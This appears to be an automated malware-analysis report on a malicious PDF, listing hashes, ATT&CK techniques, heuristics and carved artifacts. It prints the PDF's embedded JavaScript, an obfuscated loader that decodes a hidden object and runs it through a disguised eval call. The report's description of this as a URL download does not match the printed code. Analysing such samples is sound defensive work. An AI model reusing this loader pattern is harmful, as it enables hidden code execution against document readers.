Malicious PDF — malware analysis report

Static analysis result for SHA-256 1904e4e24334662a…

MALICIOUS

PDF

4.5 KB First seen: 2026-05-08
MD5: 404f41419008f016381730da7b67edaf SHA-1: ce61d13a7ae430ba74dda31757b2de79c74b88da SHA-256: 1904e4e24334662afeffa09a5071ac249e20438fbb0498ff0f0f5c7a2f2cf795
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains embedded JavaScript that attempts to download a second-stage payload from the reconstructed URL 'http://eval/query?a=exemple&b=2'. The JavaScript also extracts data from an embedded object named 'clown' and passes it as a parameter to the download function. The ML classifier strongly indicates maliciousness, and the malformed stream length heuristic suggests an exploit attempt.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x429 77826 bytes
SHA-256: 8399b9141637eb3d42b94337dae4b35fdd1c214c2741fd4ccfdc976a7f357cef
Detection
ClamAV: No threats found
Obfuscation or payload: likely
263 of 263 identifiers look randomly generated (e.g. 'HlKpeS2eCrHGlasw1HlKpeS2eCrHGlasw2HlKpeS') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1F1 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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